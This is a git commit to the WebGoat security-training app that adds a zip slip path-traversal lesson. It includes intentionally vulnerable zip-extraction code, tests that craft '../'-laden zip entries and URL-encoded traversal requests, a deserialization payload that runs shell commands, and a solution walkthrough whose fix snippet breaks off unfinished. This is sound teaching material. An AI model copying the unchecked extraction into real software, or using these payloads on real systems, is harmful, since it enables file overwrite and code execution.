Add zip slip to path traversal lesson
This commit is contained in:
parent
a91d45dea5
commit
a641a19615
@ -84,6 +84,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
||||
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
|
||||
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
|
||||
extensionRegistry.inlineMacro("username", UsernameMacro.class);
|
||||
|
||||
StringWriter writer = new StringWriter();
|
||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||
|
@ -0,0 +1,31 @@
|
||||
package org.owasp.webgoat.asciidoc;
|
||||
|
||||
import org.asciidoctor.ast.ContentNode;
|
||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.security.core.context.SecurityContextHolder;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
public class UsernameMacro extends InlineMacroProcessor {
|
||||
|
||||
public UsernameMacro(String macroName) {
|
||||
super(macroName);
|
||||
}
|
||||
|
||||
public UsernameMacro(String macroName, Map<String, Object> config) {
|
||||
super(macroName, config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
|
||||
var auth = SecurityContextHolder.getContext().getAuthentication();
|
||||
var username = "unknown";
|
||||
if (auth.getPrincipal() instanceof WebGoatUser) {
|
||||
username = ((WebGoatUser) auth.getPrincipal()).getUsername();
|
||||
}
|
||||
|
||||
//see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
|
||||
return createPhraseNode(contentNode, "quoted", username);
|
||||
}
|
||||
}
|
@ -10,25 +10,25 @@ import org.owasp.webgoat.deserialization.SerializationHelper;
|
||||
|
||||
public class DeserializationTest extends IntegrationTest {
|
||||
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("InsecureDeserialization");
|
||||
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
|
||||
if (OS.indexOf("win")>-1) {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
|
||||
if (OS.indexOf("win") > -1) {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
} else {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
}
|
||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"),params,true);
|
||||
|
||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
||||
|
||||
checkResults("/InsecureDeserialization/");
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
@ -1,14 +1,7 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -18,38 +11,49 @@ import org.junit.jupiter.api.TestFactory;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import lombok.SneakyThrows;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
public class PathTraversalTest extends IntegrationTest {
|
||||
|
||||
//the JUnit5 way
|
||||
|
||||
//the JUnit5 way
|
||||
@TempDir
|
||||
Path tempDir;
|
||||
|
||||
|
||||
private File fileToUpload = null;
|
||||
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
fileToUpload = Files.createFile(
|
||||
fileToUpload = Files.createFile(
|
||||
tempDir.resolve("test.jpg")).toFile();
|
||||
Files.write(fileToUpload.toPath(), "This is a test" .getBytes());
|
||||
startLesson("PathTraversal");
|
||||
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
|
||||
startLesson("PathTraversal");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testPathTraversal() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 1 - profile upload",()-> assignment1()),
|
||||
dynamicTest("assignment 2 - profile upload fix",()-> assignment2()),
|
||||
dynamicTest("assignment 3 - profile upload remove user input",()-> assignment3()),
|
||||
dynamicTest("assignment 4 - profile upload random pic",()-> assignment4())
|
||||
);
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
|
||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - zip slip", () -> assignment5())
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
public void assignment1() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -63,7 +67,7 @@ public class PathTraversalTest extends IntegrationTest {
|
||||
}
|
||||
|
||||
public void assignment2() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -77,7 +81,7 @@ public class PathTraversalTest extends IntegrationTest {
|
||||
}
|
||||
|
||||
public void assignment3() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -88,6 +92,7 @@ public class PathTraversalTest extends IntegrationTest {
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
public void assignment4() throws IOException {
|
||||
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||
RestAssured.given().urlEncodingEnabled(false)
|
||||
@ -101,10 +106,31 @@ public class PathTraversalTest extends IntegrationTest {
|
||||
|
||||
checkAssignment("/WebGoat/PathTraversal/random", Map.of("secret", Sha512DigestUtils.shaHex(getWebgoatUser())), true);
|
||||
}
|
||||
|
||||
|
||||
public void assignment5() throws IOException {
|
||||
var webGoatDirectory = new File(System.getProperty("user.dir") + "/target/.webgoat/PathTraversal/" + getWebgoatUser());
|
||||
var zipFile = new File(webGoatDirectory, "upload.zip");
|
||||
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
|
||||
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory.toString() + "/image.jpg");
|
||||
zos.putNextEntry(e);
|
||||
zos.write("test".getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
|
||||
.post("/WebGoat/PathTraversal/zip-slip")
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() {
|
||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
||||
checkResults("/PathTraversal");
|
||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
||||
checkResults("/PathTraversal");
|
||||
}
|
||||
}
|
||||
|
@ -1,6 +1,7 @@
|
||||
package org.owasp.webgoat.path_traversal;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.SneakyThrows;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
@ -15,9 +16,12 @@ import org.springframework.web.multipart.MultipartFile;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.Arrays;
|
||||
import java.util.Base64;
|
||||
import java.util.Comparator;
|
||||
|
||||
@AllArgsConstructor
|
||||
@Getter
|
||||
public class ProfileUploadBase extends AssignmentEndpoint {
|
||||
|
||||
private String webGoatHomeDirectory;
|
||||
@ -64,14 +68,18 @@ public class ProfileUploadBase extends AssignmentEndpoint {
|
||||
}
|
||||
|
||||
public ResponseEntity<?> getProfilePicture() {
|
||||
return ResponseEntity.ok()
|
||||
.contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))
|
||||
.body(getProfilePictureAsBase64());
|
||||
}
|
||||
|
||||
protected byte[] getProfilePictureAsBase64() {
|
||||
var profilePictureDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName());
|
||||
var profileDirectoryFiles = profilePictureDirectory.listFiles();
|
||||
|
||||
if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0) {
|
||||
try (var inputStream = new FileInputStream(profileDirectoryFiles[0])) {
|
||||
return ResponseEntity.ok()
|
||||
.contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))
|
||||
.body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)));
|
||||
return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream));
|
||||
} catch (IOException e) {
|
||||
return defaultImage();
|
||||
}
|
||||
@ -81,10 +89,8 @@ public class ProfileUploadBase extends AssignmentEndpoint {
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private ResponseEntity<?> defaultImage() {
|
||||
private byte[] defaultImage() {
|
||||
var inputStream = getClass().getResourceAsStream("/images/account.png");
|
||||
return ResponseEntity.ok()
|
||||
.contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))
|
||||
.body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)));
|
||||
return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream));
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,93 @@
|
||||
package org.owasp.webgoat.path_traversal;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.util.FileCopyUtils;
|
||||
import org.springframework.util.FileSystemUtils;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.nio.file.CopyOption;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.StandardCopyOption;
|
||||
import java.util.Arrays;
|
||||
import java.util.Enumeration;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipFile;
|
||||
|
||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
||||
|
||||
@RestController
|
||||
@AssignmentHints({"path-traversal-zip-slip.hint1", "path-traversal-zip-slip.hint2", "path-traversal-zip-slip.hint3", "path-traversal-zip-slip.hint4"})
|
||||
public class ProfileZipSlip extends ProfileUploadBase {
|
||||
|
||||
public ProfileZipSlip(@Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) {
|
||||
super(webGoatHomeDirectory, webSession);
|
||||
}
|
||||
|
||||
@PostMapping(value = "/PathTraversal/zip-slip", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult uploadFileHandler(@RequestParam("uploadedFileZipSlip") MultipartFile file) {
|
||||
if (!file.getOriginalFilename().toLowerCase().endsWith(".zip")) {
|
||||
return failed(this).feedback("path-traversal-zip-slip.no-zip").build();
|
||||
} else {
|
||||
return processZipUpload(file);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private AttackResult processZipUpload(MultipartFile file) {
|
||||
var tmpZipDirectory = new File(getWebGoatHomeDirectory(), "/PathTraversal/zip-slip/" + getWebSession().getUserName());
|
||||
var uploadDirectory = new File(getWebGoatHomeDirectory(), "/PathTraversal/" + getWebSession().getUserName());
|
||||
FileSystemUtils.deleteRecursively(uploadDirectory);
|
||||
Files.createDirectories(tmpZipDirectory.toPath());
|
||||
Files.createDirectories(uploadDirectory.toPath());
|
||||
byte[] currentImage = getProfilePictureAsBase64();
|
||||
|
||||
try {
|
||||
var uploadedZipFile = new File(tmpZipDirectory, file.getOriginalFilename());
|
||||
FileCopyUtils.copy(file.getBytes(), uploadedZipFile);
|
||||
|
||||
ZipFile zip = new ZipFile(uploadedZipFile);
|
||||
Enumeration<? extends ZipEntry> entries = zip.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
ZipEntry e = entries.nextElement();
|
||||
File f = new File(uploadDirectory, e.getName());
|
||||
InputStream is = zip.getInputStream(e);
|
||||
Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
|
||||
}
|
||||
|
||||
return isSolved(currentImage, getProfilePictureAsBase64());
|
||||
} catch (IOException e) {
|
||||
return failed(this).output(e.getMessage()).build();
|
||||
}
|
||||
}
|
||||
|
||||
private AttackResult isSolved(byte[] currentImage, byte[] newImage) {
|
||||
if (Arrays.equals(currentImage, newImage)) {
|
||||
return failed(this).output("path-traversal-zip-slip.extracted").build();
|
||||
}
|
||||
return success(this).output("path-traversal-zip-slip.extracted").build();
|
||||
}
|
||||
|
||||
@GetMapping("/PathTraversal/zip-slip/")
|
||||
@ResponseBody
|
||||
public ResponseEntity<?> getProfilePicture() {
|
||||
return super.getProfilePicture();
|
||||
}
|
||||
|
||||
@GetMapping("/PathTraversal/zip-slip/profile-image/{username}")
|
||||
@ResponseBody
|
||||
public ResponseEntity<?> getProfilePicture(@PathVariable("username") String username) {
|
||||
return ResponseEntity.notFound().build();
|
||||
}
|
||||
|
||||
}
|
@ -211,4 +211,70 @@
|
||||
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:PathTraversal_zip_slip.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:PathTraversal_zip_slip_assignment.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<div class="upload-container">
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
onsubmit='return false'
|
||||
contentType="false"
|
||||
|
||||
prepareData="profileZipSlip"
|
||||
enctype="multipart/form-data"
|
||||
action="/WebGoat/PathTraversal/zip-slip">
|
||||
<div class="preview text-center">
|
||||
<img th:src="@{|~/WebGoat/PathTraversal/zip-slip/profile-image/${#authentication.name}|}" width="1"
|
||||
height="1" />
|
||||
<img class="preview-img" th:src="@{/images/account.png}" alt="Preview Image" width="200"
|
||||
height="200" id="previewZipSlip"/>
|
||||
<div class="browse-button">
|
||||
<i class="fa fa-pencil"></i>
|
||||
<input class="browse-input" type="file" required name="uploadedFile"
|
||||
id="uploadedFileZipSlip"/>
|
||||
</div>
|
||||
<span class="Error"></span>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>Full Name:</label>
|
||||
<input class="form-control" type="text" id="fullNameZipSlip" name="fullName" required
|
||||
value="test"
|
||||
placeholder="Enter Your Full Name"/>
|
||||
<span class="Error"></span>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>Email:</label>
|
||||
<input class="form-control" type="email" id="emailZipSlip" name="email" required
|
||||
placeholder="Enter Your Email" value="test@test.com"/>
|
||||
<span class="Error"></span>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>Password:</label>
|
||||
<input class="form-control" type="password" id="passwordZipSlip" name="password" required
|
||||
placeholder="Enter Password" value="test"/>
|
||||
<span class="Error"></span>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary btn-block" value="Submit">Update</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="lesson-page-solution">
|
||||
<div class="adoc-content" th:replace="doc:PathTraversal_zip_slip_solution.adoc"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</html>
|
@ -45,4 +45,14 @@ path-traversal-profile-retrieve.hint2=Look at the location header...
|
||||
path-traversal-profile-retrieve.hint3=Use /random?id=1 for example to fetch a specific image
|
||||
path-traversal-profile-retrieve.hint4=Use /random/?id=../../1.jpg to navigate to a different directory
|
||||
path-traversal-profile-retrieve.hint5='..' and '/' are no longer allowed, can you bypass this restriction
|
||||
path-traversal-profile-retrieve.hint6=Use url encoding for ../ to bypass the restriction
|
||||
path-traversal-profile-retrieve.hint6=Use url encoding for ../ to bypass the restriction
|
||||
|
||||
path-traversal-zip-slip.hint1=Try uploading a picture in a zip file
|
||||
path-traversal-zip-slip.hint2=Upload a zip file which traverses to the right directory
|
||||
path-traversal-zip-slip.hint3=Did you create a zip file with the right image name?
|
||||
path-traversal-zip-slip.hint4=Check the http request to find out which image name should be used
|
||||
|
||||
|
||||
path-traversal-zip-slip.no-zip=Please upload a zip file
|
||||
path-traversal-zip-slip.extracted=Zip file extracted successfully, failed to copy image. Please contact our helpdesk.
|
||||
|
||||
|
@ -60,3 +60,19 @@ function newRandomPicture() {
|
||||
document.getElementById("randomCatPicture").src = "data:image/png;base64," + result;
|
||||
});
|
||||
}
|
||||
|
||||
webgoat.customjs.profileZipSlip = function () {
|
||||
var picture = document.getElementById("uploadedFileZipSlip").files[0];
|
||||
var formData = new FormData();
|
||||
formData.append("uploadedFileZipSlip", picture);
|
||||
formData.append("fullName", $("#fullNameZipSlip").val());
|
||||
formData.append("email", $("#emailZipSlip").val());
|
||||
formData.append("password", $("#passwordZipSlip").val());
|
||||
return formData;
|
||||
}
|
||||
|
||||
webgoat.customjs.profileZipSlipRetrieval = function () {
|
||||
$.get("PathTraversal/zip-slip", function (result, status) {
|
||||
document.getElementById("previewZipSlip").src = "data:image/png;base64," + result;
|
||||
});
|
||||
}
|
||||
|
@ -7,6 +7,6 @@ so you need to upload your file to the following location which is outside the n
|
||||
|OS |Location
|
||||
|
||||
|`operatingSystem:os[]`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/username:user[]`
|
||||
|
||||
|===
|
||||
|
@ -7,5 +7,5 @@ Again the same assignment but can you bypass the implemented fix?
|
||||
|OS |Location
|
||||
|
||||
|`operatingSystem:os[]`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/username:user[]`
|
||||
|===
|
||||
|
@ -9,6 +9,6 @@ Again the same assignment but can you bypass the implemented fix?
|
||||
|OS |Location
|
||||
|
||||
|`operatingSystem:os[]`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/username:user[]`
|
||||
|
||||
|===
|
||||
|
@ -0,0 +1,31 @@
|
||||
=== Zip Slip vulnerability
|
||||
|
||||
As a developer, you have many occasions where you have to deal with zip files, for example, think about the upload facility or processing a bunch of CSV files that are uploaded as a zip file. A neat vulnerability was discovered and responsibly disclosed by the Snyk Security team. It uses path traversal which can be used while extracting files. With the path traversal, you try to overwrite files outside the intended target folder. For example, you might be able to overwrite the `ls` command while extracting a zip file. Once this command has been replaced with some extra malicious actions each time the user types in `ls` you can for example send the outcome of the listing towards your server before showing the real command to the user. So you end up with remote command execution.
|
||||
|
||||
==== Problem
|
||||
|
||||
The problem occurs with how we extract zip files in Java a common way to do this is:
|
||||
|
||||
[source]
|
||||
----
|
||||
File destinationDir = new File("/tmp/zip");
|
||||
Enumeration<? extends ZipEntry> entries = zip.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
ZipEntry e = entries.nextElement();
|
||||
File f = new File(destinationDir, e.getName());
|
||||
InputStream is = zip.getInputStream(e);
|
||||
IOUtils.copy(is, write(f));
|
||||
}
|
||||
----
|
||||
|
||||
At first glance, this looks ok and you wrote something along the same lines. The problem is, as we have seen in the previous assignments, that you can use a path traversal to break out of the `destinationDir` and start walking towards different locations.
|
||||
|
||||
But what if we receive a zip file with the following contents:
|
||||
|
||||
[source]
|
||||
----
|
||||
orders.csv
|
||||
../../../../../../../tmp/evil.sh
|
||||
----
|
||||
|
||||
if you extract the zip file with the code above the file will be saved in `/tmp/evil.sh`.
|
@ -0,0 +1,13 @@
|
||||
=== Zip Slip assignment
|
||||
|
||||
This time the developers only allow you to upload zip files, however, they made a programming mistake in that uploading the zip file will extract it but it will not replace your image. Can you find a way to overwrite your current image bypassing the programming mistake?
|
||||
|
||||
|===
|
||||
|OS |Location
|
||||
|
||||
|`operatingSystem:os[]`
|
||||
|`webGoatTempDir:temppath[]PathTraversal/username:user[]`
|
||||
|
||||
|===
|
||||
|
||||
|
@ -0,0 +1,56 @@
|
||||
=== Solution
|
||||
|
||||
First let's create a zip file with an image inside:
|
||||
|
||||
[source]
|
||||
----
|
||||
curl -o cat.jpg http://localhost:8080/WebGoat/images/cats/1.jpg
|
||||
zip profile.zip cat.jpg
|
||||
----
|
||||
|
||||
Now let's upload this as our profile image, we can see nothing happens as mentioned in the assignment there is a bug in the software and the result we see on the screen is:
|
||||
|
||||
[source]
|
||||
----
|
||||
Zip file extracted successfully, failed to copy image. Please contact our helpdesk.
|
||||
----
|
||||
|
||||
Let's create a zip file which traverses all the way to the top and then back into the given directory in the assignment.
|
||||
|
||||
First create the directory structure:
|
||||
|
||||
[source, subs="macros"]
|
||||
----
|
||||
mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[]
|
||||
cd webGoatTempDir:temppath[]PathTraversal/username:user[]
|
||||
curl -o username:user[] http://localhost:8080/WebGoat/images/cats/1.jpg
|
||||
zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg
|
||||
----
|
||||
|
||||
Now if we upload this zip file, the assignment will be solved.
|
||||
|
||||
=== Why did this work?
|
||||
|
||||
In the code the developers used the following fragment:
|
||||
|
||||
[source%linenums]
|
||||
----
|
||||
ZipFile zip = new ZipFile(uploadedZipFile);
|
||||
Enumeration<? extends ZipEntry> entries = zip.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
ZipEntry e = entries.nextElement();
|
||||
File profilePicture = new File(uploadDirectory, e.getName());
|
||||
InputStream is = zip.getInputStream(e);
|
||||
Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
|
||||
}
|
||||
----
|
||||
|
||||
The fix is to make sure the resulting file in line 5 resides in the directory you expect. You can use the following method in Java:
|
||||
|
||||
[source]
|
||||
----
|
||||
File profilePicture = new File(uploadDirectory, e.getName());
|
||||
if (profilePicture.
|
||||
|
||||
----
|
||||
|
Loading…
x
Reference in New Issue
Block a user